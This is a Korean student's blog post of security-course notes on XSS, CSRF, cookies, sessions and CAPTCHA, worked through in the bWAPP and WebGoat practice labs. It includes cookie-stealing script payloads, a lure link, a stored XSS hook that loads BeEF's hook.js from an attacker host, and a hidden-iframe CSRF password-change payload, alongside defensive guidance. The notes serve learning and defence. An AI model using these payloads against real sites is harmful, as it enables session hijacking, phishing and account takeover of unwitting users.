[SK shieldus Rookies 19기] 4.1. 애플리케이션 보안(6). xss, CSRF, cookie, session, 캡차

WoongchiSec·2024년 3월 18일

SK shieldus Rookies

목록 보기
9/23
post-thumbnail

BeeBox > Cross-Site Scripting - Reflected (GET)

Kali 가상머신에서 beebox로 접속


First name, Last name 입력한 후 Go 버튼을 클릭해서 동작을 확인

화면 하단에 입력한 내용이 출력되는 것을 확인 


First name: first	-------> 화면에서 전달된 값을 서버 내부 처리에 사용 ---> Welcom first last  	
Last name: last                                                                       ~~~~~~~~~~ 
[GO]                                                                                  다음 사용자 화면 생성에 사용  

입력값과 출력값에 스크립트 코드 처리 여부를 확인

First name: first <script> alert('first') </script>	
Last name: last <script> alert('last') </script>  


⇒ 모든 입력창에서 XSS 취약점을 확인할 수 있음

쿠키 정보를 출력하도록 스크립트를 수정

First name: first <script> alert(document.cookie) </script>	
Last name: last

주소창에 주소를 복사해서 공격 문자열을 작성

<a href="http://bee.box/bWAPP/xss_get.php?firstname=first+%3Cscript%3E+alert%28document.cookie%29+%3C%2Fscript%3E%09&lastname=last&form=submit"> 비트 코인 대박 정보 <a>

카카오톡으로 링크를 전달하고 해당 링크를 클릭 (호스트 PC에서 beebox 사이트에 로그인되어 있어야 함)

BeeBox > Crss-Site Scripting - Stored (Blog)

사용자가 입력한 내용을 저장하고 조회할 수 있는 기능을 제공

입력 내용에 HTML 태그가 포함된 경우 동작을 확인

<b> <i> <u> 태그가 단순 텍스트가 아닌 HTML 태그로 해석되어서 처리되는 것을 확인

<script> 태그를 포함해서 내용을 저장

해당 서버에 스크립트 코드가 저장되어 있으므로, 해당 페이지에 접근할 때 마다 스크립트 코드가 전달되어 실행되게 됨

Cookie vs Session

https://developer.mozilla.org/ko/docs/Web/HTTP/Cookies

Stateless 한 HTTP 프로토콜에서 요청과 요청 간의 관계를 유지하기 위해서 도입된 개념 

Client     POST /login                            Server
ID: abc  ---------------------------------------> 요청 파라미터로 전달된 ID와 PW를 이용해서 인증 
PW: xyz    ID=abc&PW=xyz  

           200 OK
           Set-Cookie: username=hong; role=user	⇐ 다음 요청에서 서버가 필요로 하는 값
         <---------------------------------------

           GET /data
           Cookie: username=hong; role=user		⇐ 동일한 서버로 요청할 때 브라우저가 자동으로 설정해서 전달
         ---------------------------------------> 쿠키로 전달된 값을 이용해서 해당 사용자에게 맞는 응답을 전달

         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         쿠키는 요청 헤더와 응답 헤더를 통해서 값을 전달 
         ⇒ 전달 과정에서 프록시 등을 이용해서 쉽게 노출, 유출될 수 있고, 
            스크립트 코드 또는 개발자 도구를 이용해서 쉽게 탈취, 위변조가 가능   
         ⇒ 쿠키를 통해서 중요 정보를 전달되거나, 쿠키가 지속적으로 남아 있게 하면 안 됨

안전한 쿠키 사용

  1. 중요 정보가 쿠키에 포함되지 않도록 한다. ⇒ 설계 시 중요 정보가 포함되지 않도록 지침을 만들고 지침에 따라서 개발

  2. 쿠키에 중요 정보가 포함되어야 하는 경우

  • 암호화해서 전달 ⇒ 안전한 암호화 알고리즘과 키 길이를 사용하고, 키 관리를 안전하게 진행해야 함
  • HTTPS와 같은 보안 채널을 통해서만 전달 ⇒ Secure 속성을 활성화해서 쿠키를 전달
  1. 쿠키가 하드디스크에 지속적으로 남아 있거나 임의로 접근지 못 하도록 설정
  • 쿠키의 지속 시간(Max-Age)과 유효 기간(Expires)을 최소한으로 설정
  • 스크립트를 이용해서 쿠키 값에 접근, 조작하는 것을 방지 ⇒ HttpOnly 속성을 활성화해서 쿠키를 전달

관련 가이드 내용


Session

Client     POST /login                            Server
ID: abc  ---------------------------------------> 요청 파라미터로 전달된 ID와 PW를 이용해서 인증 
PW: xyz    ID=abc&PW=xyz                          서버가 가지고 있는 객체에 사용자 정보를 저장 ⇐ 서버에 의해 보호
                                                          username: hong
                                                          role: user
                                                             : 	
                                                  해당 정보에 접근할 수 있는 키를 발급
                                                          sid: 1234
           200 OK
           Set-Cookie: sid=1234			⇐ 다음 요청에서 서버가 필요로 하는 값
         <---------------------------------------	   정보 그 자체를 전달하지 않고 정보에 접근할 수 있는 키만 전달

           GET /data
           Cookie: sid=1234				⇐ 동일한 서버로 요청할 때 브라우저가 자동으로 설정해서 전달
         --------------------------------------->	   쿠키를 통해 전달된 키를 이용해서 정보에 접근하여 사용자에게 맞는 
   서비스를 제공

         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         요청/응답 과정에서 정보 유출이 발생하지 않음 
         ⇒ 정보에 접근할 수 있는 키가 유출되는 경우 서버를 속여 (서버에 저장된) 정보에 접근은 가능 
         ⇒ 키를 잘 만들고 관리하는 것이 중요 

세션 ID를 잘못 생성, 관리했을 때 발생할 수 있는 문제

TODO.
인증 전과 인증 후 동일한 세션 ID를 유지하는 경우 ⇒ 세션 ID 고정 
세션 ID 생성 규칙을 유추할 수 있는 경우 ⇒ 세션 ID 추축
(스크립트 코드를 이용해서) 브라우저에 저장된 세션 ID를 탈취할 수 있는 경우 ⇒ 세션 ID 훔치기 ⇒ XSS 공격 

BeEF를 이용한 XSS 공격

설치 및 실행

┌──(kali㉿kali)-[~]
└─$ sudo apt install beef-xss

                                                                                                      
┌──(kali㉿kali)-[~]
└─$ sudo beef-xss            
[-] You are using the Default credentials
[-] (Password must be different from "beef")			
[-] Please type a new password for the beef user: p@ssw0rd	⇐ 기본 패스워드 재설정
[i] GeoIP database is missing
[i] Run geoipupdate to download / update Maxmind GeoIP database
[*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]
[*]  Web UI: http://127.0.0.1:3000/ui/panel				⇐ BeEF 웹 콘솔 접속 주소
[*]    Hook: <script src="http://<IP>:3000/hook.js"></script>	⇐ BeEF에서 제공하는 스크립트 코드 주소
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

● beef-xss.service - beef-xss
     Loaded: loaded (/lib/systemd/system/beef-xss.service; disabled; preset: disabled)
     Active: active (running) since Sun 2024-03-17 22:06:23 EDT; 5s ago
   Main PID: 919417 (ruby)
      Tasks: 2 (limit: 2249)
     Memory: 55.4M
        CPU: 4.142s
     CGroup: /system.slice/beef-xss.service
             └─919417 ruby /usr/share/beef-xss/beef

Mar 17 22:06:23 kali systemd[1]: Started beef-xss.service - beef-xss.

[*] Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... 4... 3... 2... 1... 

콘솔에 접속 (자동으로 실행되지 않는 경우, http://127.0.0.1:3000/ui/panel 로 접속)

로그인 안 되는 경우, config.yaml 파일에서 패스워드를 변경하고 시작메뉴에서 beef stop, beef start를 실행

┌──(kali㉿kali)-[~]
└─$ sudo gedit /usr/share/beef-xss/config.yaml
---
beef:
  version: 0.5.4.0
  debug: false
  client_debug: false
  crypto_default_value_length: 80
  credentials:
    user: beef
    passwd: p@ssw0rd			⇐ 패스워드 변경 후 저장 (beef는 사용할 수 없음)
  restrictions:
    permitted_hooking_subnet:
    - 0.0.0.0/0
    - "::/0"
    permitted_ui_subnet:
    - 0.0.0.0/0
    - "::/0"
    excluded_hooking_subnet: []
    api_attempt_delay: '0.05'
	... 생략 ...

Kali 가상머신에서 XSS 취약점을 가지고 있는 게시판에 hook.js 파일을 실행하는 글을 등록

<script src="http://kali.linux:3000/hook.js"></script> BEEF!!!

BeEF 콘솔에서 스크립트 코드가 실행된 것을 확인

호스트 PC에서 XSS에 취약한 웹 페이지로 접속 ⇒ 개발자 도구의 Network 탭에서 hook.js를 계속해서 호출하는 것을 확인

Kali 가상머신의 BeEF 콘솔을 확인

감염된 브라우저 정보를 확인

쿠키 정보 탈취

소리 파일 재생

https://freewavesamples.com/files/Ouch-6.wav

Redirect

Fake Flash Update

Google Phishing

취약한 소스 코드를 확인

bee@bee-box:~$ sudo gedit /var/www/bWAPP/xss_stored_1.php 

<?php
include("security.php");
include("security_level_check.php");
include("functions_external.php");
include("connect_i.php");
include("selections.php");

$entry = "";
$owner = "";
$message = "";

function xss($data)
{
    include("connect_i.php");

    switch($_COOKIE["security_level"])
    {
        case "0" : 
            $data = sqli_check_3($link, $data);
            break;

        case "1" :
            $data = sqli_check_3($link, $data);
            // $data = xss_check_4($data);
            break;

        case "2" :
            $data = sqli_check_3($link, $data);
            // $data = xss_check_3($data);
            break;

        default :
            $data = sqli_check_3($link, $data);
            break;
    }

    return $data;
}

if(isset($_POST["entry_add"]))
{
    $entry = xss($_POST["entry"]);		⇐ 다른 실습과 틀리게 xss() 함수에서는 xss 취약점과 무관한 처리를 수행
    $owner = $_SESSION["login"];		   입력값에 SQL Injection을 유발하는 입력을 필터링 후 저장 

    if($entry == "")
    {
        $message =  "<font color=\"red\">Please enter some text...</font>";
    }
    else            
    { 
        $sql = "INSERT INTO blog (date, entry, owner) VALUES (now(),'" . $entry . "','" . $owner . "')";

        $recordset = $link->query($sql);
        if(!$recordset)
        {
            die("Error: " . $link->error . "<br /><br />");
        }

        // Debugging
        // echo $sql;

        $message = "<font color=\"green\">Your entry was added to our blog!</font>";
    }
}
else
{
		... 생략 ...
}
?>
		... 생략 ... 
<?php

// Selects all the records

$entry_all = isset($_POST["entry_all"]) ? 1 : 0;

if($entry_all == false)
{
	$sql = "SELECT * FROM blog WHERE owner = '" . $_SESSION["login"] . "'";
}
else
{
	$sql = "SELECT * FROM blog";
}

$recordset = $link->query($sql);
if(!$recordset)
{

    // die("Error: " . $link->connect_error . "<br /><br />");

?>
        <tr height="50">

            <td colspan="4" width="665"><?php die("Error: " . $link->error);?></td>
            <!--
            <td></td>
            <td></td>
            <td></td> 
            -->

        </tr>  

<?php

}

while($row = $recordset->fetch_object())
{

    if($_COOKIE["security_level"] == "2")
    {
?>
        <tr height="40">
            <td align="center"><?php echo $row->id; ?></td>
            <td><?php echo $row->owner; ?></td>
            <td><?php echo $row->date; ?></td>
            <td><?php echo xss_check_3($row->entry); ?></td>	⇐ 보안 등급이 높은 경우 
        </tr>
<?php
    }
    else
        if($_COOKIE["security_level"] == "1")
        {
?>
        <tr height="40">
            <td align="center"><?php echo $row->id; ?></td>
            <td><?php echo $row->owner; ?></td>
            <td><?php echo $row->date; ?></td>
            <td><?php echo xss_check_4($row->entry); ?></td>	⇐ 보안 등급이 중간인 경우 
        </tr>
<?php
        }
        else        
            {
?>
        <tr height="40">
            <td align="center"><?php echo $row->id; ?></td>
            <td><?php echo $row->owner; ?></td>
            <td><?php echo $row->date; ?></td>
            <td><?php echo $row->entry; ?></td>			⇐ 보안 등급이 가장 낮은 경우 
        </tr>								   → DB에 저장된 내용을 그대로 출력
<?php          
            }
}      
		... 생략 ... 



function xss_check_3($data, $encoding = "UTF-8")
{
    // htmlspecialchars - converts special characters to HTML entities    
    // '&' (ampersand) becomes '&amp;' 
    // '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set
    // "'" (single quote) becomes '&#039;' (or &apos;) only when ENT_QUOTES is set
    // '<' (less than) becomes '&lt;'
    // '>' (greater than) becomes '&gt;'  		⇐ <script> 태그가 &lt;script&gt; 형태로 변경되어서 전달 
							   → &lt;script&gt; 형태를 브라우저는 <script> 텍스트로 단순 출력
    return htmlspecialchars($data, ENT_QUOTES, $encoding);
}

function xss_check_4($data)
{
    // addslashes-returns a string with backslashes before characters that need to be quoted in database queries etc.
    // These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
    // Do NOT use this for XSS or HTML validations!!!

    return addslashes($data);
}

파이썬 Django에서 크로스사이트 스크립트

https://semgrep.dev/docs/cheat-sheets/django-xss/

프로젝트 디렉터리에서 가상환경을 실행하고 개발서버를 실행

c:\Temp> cd c:\python\projects\mysite				⇐ Django 프로젝트 디렉터리

c:\python\projects\mysite> code .

c:\python\projects\mysite> c:\python\mysite\Scripts\activate	⇐ 가상환경 실행

(mysite) c:\python\projects\mysite> python manage.py runserver	⇐ 개발 서버 실행

pybo 사이트에 접속해서 질문에 스크립트 코드를 추가해서 저장

페이지 소스보기를 통해 확인해 보면 스크립트 코드가 HTML 인코딩되어 있는 것을 확인할 수 있음

sqlitebrowser로 DB 에 저장된 내용을 확인 ⇒ 스크립트 태그가 저장된 것을 확인

DB에 저장된 내용을 XSS 공격에 안전하도록 출력해 주는 부분을 확인 ⇒ DTL에서 실행 가능한 코드를 안전하게 HTML 인코딩해서 출력

HTML 태그를 포함하는 답변을 등록

특정 부분에 HTML 태그가 동작하도록 하려면 autoescape off 설정을 추가

<b> 태그가 적용되는 것을 확인

safe 필터를 사용하면 autoescape off와 같이 내용에 포함된 태그를 그대로 해석해서 실행함

pybo\views.py 파일에 실행 가능한 스크립트 코드를 템플릿으로 전달하는 코드를 추가 
def detail(request, question_id): 
    # question = Question.objects.get(id=question_id)
    question = get_object_or_404(Question, pk=question_id)
    msg = "<script> alert('xss') </script>"
    
    context = { 'question': question, 'msg': msg }

    return render(request, 'pybo/question_detail.html', context)


templates\pybo\question_detail.html 파일에 뷰에서 전달된 msg를 출력하는 코드를 추가 
	<h5 class="border-bottom my-3 py-2">
		{{ question.answer_set.count }}개의 답변이 있습니다. ({{ msg }})
	</h5>


DTL에 의해서 태그가 HTML 인코딩되어 처리 ⇒ 단순 문자열로 출력

뷰에서 mark_safe 함수를 사용해서 템플릿에서 이스케이프 처리를 하지 않도록 지정

from django.shortcuts import render, get_object_or_404, redirect
from .models import Question
from .forms import QuestionForm
from django.utils import timezone
import subprocess
from django.utils.safestring import mark_safe

def index(request):
    question_list = Question.objects.order_by('-create_date')
    context = { 'question_list': question_list }
    
    return render(request, 'pybo/question_list.html', context)


def detail(request, question_id): 
    # question = Question.objects.get(id=question_id)
    question = get_object_or_404(Question, pk=question_id)
    msg = "<script> alert('xss') </script>"
    msg = mark_safe(msg)

    context = { 'question': question, 'msg': msg }

    return render(request, 'pybo/question_detail.html', context)

스크립트 코드가 실행되는 것을 확인

결론
Django에서는 DTL이 HTML 엔티티를 자동으로 HTML 인코딩 처리하여 단순 문자열로 출력되도록 하고 있으나,
mark_safe() 함수, autoescape off 설정, safe 필터 등을 사용하는 경우 해당 기능을 무효화할 수 있으므로 유의해서 사용해야 함

WebGoat-2023.8 버전 실행

JDK 17 설치
https://download.oracle.com/java/17/latest/jdk-17_windows-x64_bin.msi

WebGoat Jar 파일 다운로드
https://github.com/WebGoat/WebGoat/releases/download/v2023.8/webgoat-2023.8.jar

명령 프롬프트 실행 후 WebGoat Jar 파일이 있는 곳으로 이동

c:\Users\crpark> java -version
java version "17.0.10" 2024-01-16 LTS
Java(TM) SE Runtime Environment (build 17.0.10+11-LTS-240)
Java HotSpot(TM) 64-Bit Server VM (build 17.0.10+11-LTS-240, mixed mode, sharing)

c:\Users\crpark> cd c:\temp						⇐ WebGoat Jar 파일이 위치한 곳

c:\Temp> set TZ=Asia/Seoul

c:\Temp> set WEBGOAT_PORT=9999

c:\Temp> java -Dfile.encoding=UTF-8 -jar webgoat-2023.8.jar
			:
***************************
APPLICATION FAILED TO START
***************************

Description:

Web server failed to start. Port 8080 was already in use.		⇐ 8080 포트가 사용이어서 오류가 발생

Action:

Identify and stop the process that's listening on port 8080 or configure this application to listen on another port.



c:\Temp> java -Dfile.encoding=UTF-8 -jar webgoat-2023.8.jar
			:
2024-03-18T13:29:09.909+09:00  INFO 1844 --- [           main] io.undertow                              : starting server: Undertow - 2.3.10.Final
2024-03-18T13:29:10.171+09:00  INFO 1844 --- [           main] o.s.b.w.e.undertow.UndertowWebServer     : Undertow started on port(s) 9999 (http) with context path '/WebGoat'
2024-03-18T13:29:10.479+09:00  INFO 1844 --- [           main] org.owasp.webgoat.server.StartWebGoat    : Started StartWebGoat in 47.646 seconds (process running for 99.157)
2024-03-18T13:29:10.604+09:00  WARN 1844 --- [           main] org.owasp.webgoat.server.StartWebGoat    : Please browse to http://127.0.0.1:9999/WebGoat to start using WebGoat...

서버가 실행되면 브라우저로 http://localhost:9999/WebGoat 주소로 접속

크로스 사이트 요청 위조 (CSRF)

요청을 전달 받은 서버가 요청의 절차와 주체를 검증하지 않고 요청을 처리했을 때 발생 
⇒ 희생자의 권한으로 요청이 처리되는 문제가 발생 
⇒ 자동 회원가입, 자동 글쓰기, 광고 배너 클릭, ... 등 

예) 패스워드를 변경하는 기능

ChangePasswordForm                ChangePasswordProc   
변경 신청 페이지                  변경 처리 페이지 

New PW: _________                 1) 로그인(인증) 여부를 확인
New PW: _________                 2) 처리에 필요한 사용자 입력값이 전달되었는지 확인 
                                     → 패스워드 변경을 위한 사용자가 입력한 새 패스워드가 전달되었는지 확인
[Change Password]                 3) 처리에 필요한 시스템이 가지고 있는 값을 추출
                                     → 패스워드 변경을 위한 변경 대상 정보(사용자 ID)를 세션으로부터 추출   
                                  4) 요청을 처리 
                                     → 로그인한 사용자의 패스워드를 요청 파라미터로 전달된 값으로 변경


회원제 게시판 = 회원 가입 후 로그인해야만 이용할 수 있는 게시판 
제목: [필독] 꼭 보세요.
---------------------------------------------------------------------------------------
어떠 어떠한 내용
<iframe src="ChangePasswordProc?newpw=1234&newpwre=1234" width="0" height="0"></iframe>

⇐ 해당 게시물을 보는 모든 사용자의 패스워드가 1234로 변경 



정상적인 절차(선행되어야 하는 페이지로 부터의 요청인지, 공격자가 작성한 자동화된 요청인지)를 확인하지 않고 요청을 처리 
주요 기능(패스워드 변경)임에도 불구하고 인증 여부 및 요청 처리에 필요한 값 전달 여부만 확인하고 요청을 처리 (사용자가 요청한 것인지 자동화된 코드가 요청한 것인지 확인하지 않고 요청을 처리)
⇒ CSRF 



방어기법 1-1. 요청 절차를 검증 ⇒ 선행 페이지에서 온 요청임을 확인 ⇒ 토큰(token)을 이용 

[1] 선행 페이지가 호출되었을 때 서버 사이드에서 임의의 값을 생성하고 (세션에) 저장
    abcd  ~~~~~~~~~~~~~~~~~~~~~~~~~~>           ~~~~~~~~~
                                                token
ChangePasswordForm                         ChangePasswordProc   
변경 신청 페이지                           변경 처리 페이지 
                                           
New PW: _________                          [3] 서버가 가지고 있는 값과 사용자 요청을 통해서 전달된 값을 비교
New PW: _________                              일치하는 경우에만 정상적인 절차를 통한 요청으로 확인하고 처리
                                       
[2] 사용자 화면에 전달			
<input type="hiddent" value="abcd" />	    
                             ~~~~  
[Change Password]            텍스트 기반의 토큰으로           
                             토큰 전달 과정에 사용자가 관여하지 않음
                             ⇒ 공격자가 선행 페이지(form)를 먼저 호출해 토큰을 추출한 후 후행 
                                페이지(proc)를 호출하는 방식으로 공격이 가능 


방어기법 1-2. 텍스 기반의 토큰의 문제(자동화된 요청)를 해결 

abcd  
화면에 출력된 내용을 입력하시오. 			⇐ CAPTCHA
<input type="hiddent" value="" name="token" />   	   기계는 인식할 수 없으나 사람은 쉽게 인식할 수 있는 텍스트, 
   이미지를 통해 사람과 기계를 구별하는 프로그램
   ⇒ 자동화된 요청을 방지하기 위한 수단
   ⇒ 사용자와의 인터렉션을 통한 요청 

방어기법 1-3. reCHAPTCH

  1. 요청 주체를 확인하고 요청을 처리
2. 요청 주체를 확인하고 요청을 처리 ⇒ 주요 기능에 대해서 재인증, 재인가 후 처리
                                     ~~~~~~~~~
                                     일반적으로 데이터를 조회하는 기능 보다는 생성, 수정, 삭제하는 기능
                                     중요 정보(개인 정보, 금융 정보, 인증 정보 등)를 취급하는 기능
                                     과금이 발생하는 기능  
 
ChangePasswordForm                ChangePasswordProc   
변경 신청 페이지                  변경 처리 페이지 

현재PW: _________					⇐ 재인증을 위해서 현재 패스워드도 함께 입력하도록 함
New PW: _________                 1) 로그인(인증) 여부를 확인
New PW: _________                 			⇐ 입력한 현재 패스워드가 로그인한 사용자의 패스워드와 일치하는 
							   경우에만 패스워드 변경 처리를 수행 
                                  
[Change Password]                 

인증 방법

TYPE1 지식 - 패스워드 
TYPE2 소유 - 주민등록증, 인증서, 스마트폰, OTP, ... 
TYPE3 특징 - 필기체 서명, 정맥, 홍채, 지문, 성문, ... 
                          ~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          생물학적 특징 ⇒ 바이오 인증 

2개 이상의 이증 방법을 결합한 인증 ⇒ multi factor 인증 
2개의 인증 방법을 결합한 인증 ⇒ two factor 인증 

Kali 가상머신에서 beebox 사이트에 접속

로그인한 사용자의 패스워드 변경을 신청하는 페이지

개발자 도구를 이용해서 요청을 통해서 전달되는 내용을 분석

   <h1>CSRF (Change Password)</h1>
    <p>Change your password.</p>
    <form action="/bWAPP/csrf_1.php" method="GET">
        
        <p><label for="password_new">New password:</label><br>
        <input type="password" id="password_new" name="password_new"></p>

        <p><label for="password_conf">Re-type new password:</label><br>
        <input type="password" id="password_conf" name="password_conf"></p>  

        <button type="submit" name="action" value="change">Change</button>   

    </form>
    <br>

해당 요청이 자동으로 발생할 수 있도록 취약한 게시판에 공격 코드를 삽입

Submit 후 로그아웃하고 다시 로그인을 시도 ⇒ 코드를 통해서 전달한 1234로 패스워드가 변경된 것을 확인

  • csrf_1.php 에서 요청 절차와 요청 주체를 확인하지 않고 전달된 파라미터에 의존해서 요청을 처리했기 때문에 발생한 문제

취약한 코드를 확인 (beebox 가상머신에서)

bee@bee-box:~$ sudo gedit /var/www/bWAPP/csrf_1.php

<?php
include("security.php");
include("security_level_check.php");
include("selections.php");
include("connect_i.php");

$message = "";

								⇐ 요청 처리에 필요한 값이 요청 파라미터로 전달되었는지 확인
if(isset($_REQUEST["action"]) && isset($_REQUEST["password_new"]) && isset($_REQUEST["password_conf"]))
{
    $password_new = $_REQUEST["password_new"];
    $password_conf = $_REQUEST["password_conf"];
    
    if($password_new == "")
    {
        $message = "<font color=\"red\">Please enter a new password...</font>";       
    }
    else
    {
        if($password_new != $password_conf)
        {
            $message = "<font color=\"red\">The passwords don't match!</font>";       
        }
        else            
        {
            $login = $_SESSION["login"];			⇐ 요청 처리에 필요한 값을 서버의 세션으로부터 추출
            
            $password_new = mysqli_real_escape_string($link, $password_new);	⇐ SQLi 취약점 방어
            $password_new = hash("sha1", $password_new, false);    		⇐ 패스워드를 암호화(해쉬)

            if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2") 
            {

                $sql = "UPDATE users SET password = '" . $password_new . "' WHERE login = '" . $login . "'";
⇐ 로그인한 사용자의 패스워드를 요청 파라미터의 값으로 변경 
                // Debugging
                // echo $sql;      

                $recordset = $link->query($sql);

                if(!$recordset)
                {
                    die("Connect Error: " . $link->error);
                }
                
                $message = "<font color=\"green\">The password has been changed!</font>";
            }
            else						⇐ 보안 등급이 1 또는 2인 경우 
            {
                if(isset($_REQUEST["password_curr"]))	⇐ 현재 패스워드가 전달되었는지 확인
                {                              
                    $password_curr = $_REQUEST["password_curr"];
                    $password_curr = mysqli_real_escape_string($link, $password_curr);
                    $password_curr = hash("sha1", $password_curr, false);                

                    $sql = "SELECT password FROM users WHERE login = '" . $login . "' AND password = '" . $password_curr . "'";			⇐ 로그인한 사용자의 아이디의 패스워드가 요청 파라미터로 전달한 현재 패스워드가 
					   일치하는 데이트를 조회
                    // Debugging
                    // echo $sql;    

                    $recordset = $link->query($sql);             

                    if(!$recordset)
                    {

                        die("Connect Error: " . $link->error);

                    }

                    // Debugging                
                    // echo "<br />Affected rows: ";                
                    // printf($link->affected_rows);

                    $row = $recordset->fetch_object();   
                    if($row)
                    {

                        // Debugging
                        // echo "<br />Row: ";
                        // print_r($row);
					⇐ 일치하는 데이터가 존재하면 패스워드를 변경 → 재인증을 통해서 패스워드를 변경
                        $sql = "UPDATE users SET password = '" . $password_new . "' WHERE login = '" . $login . "'";

                        // Debugging
                        // echo $sql;

                        $recordset = $link->query($sql);

                        if(!$recordset)
                        {

                            die("Connect Error: " . $link->error);

                        }

                        // Debugging              
                        // echo "<br />Affected rows: ";         
                        // printf($link->affected_rows);

                        $message = "<font color=\"green\">The password has been changed!</font>";

                    }

                    else
                    {
					⇐ 일치하는 데이터가 없으면 오류 처리 
                        $message = "<font color=\"red\">The current password is not valid!</font>";

                    }
                
                }
                
            }
                           
        } 
    
    }
    
}
... 생략 ... 

Django의 경우 프레임워크에서 CSRF 토큰 발행 및 검증을 처리

{% extends 'base.html' %}

{% block content %}
<div class="container">
    <h5 class="my-3 border-bottom pb-2">질문 등록</h5>
    <form method="post" class="post-form my-3">
        {% csrf_token %}
        {{ form.as_p }}
        <button type="submit" class="btn btn-primary">저장하기</button>
    </form>
</div>
{% endblock %}

Today is...

오늘 xss에 대한 내용이 주였지만, 보안과 인증, 캡쳐, 리캡쳐에 대한 내용이 흥미로웠다. 내가 기존에 아는 지식에 살을 덧붙인 느낌.

근데 오늘 왜이렇게 힘들지..? ㅋㅋㅋ
이제 한 주 시작인데..
컨디션 관리를 잘 못햇나?
이번주가 걱정이된다ㅎ

단순 월요병이기를 바라며..
이번주도 파이팅!

profile
It's log on my way to whitehack

0개의 댓글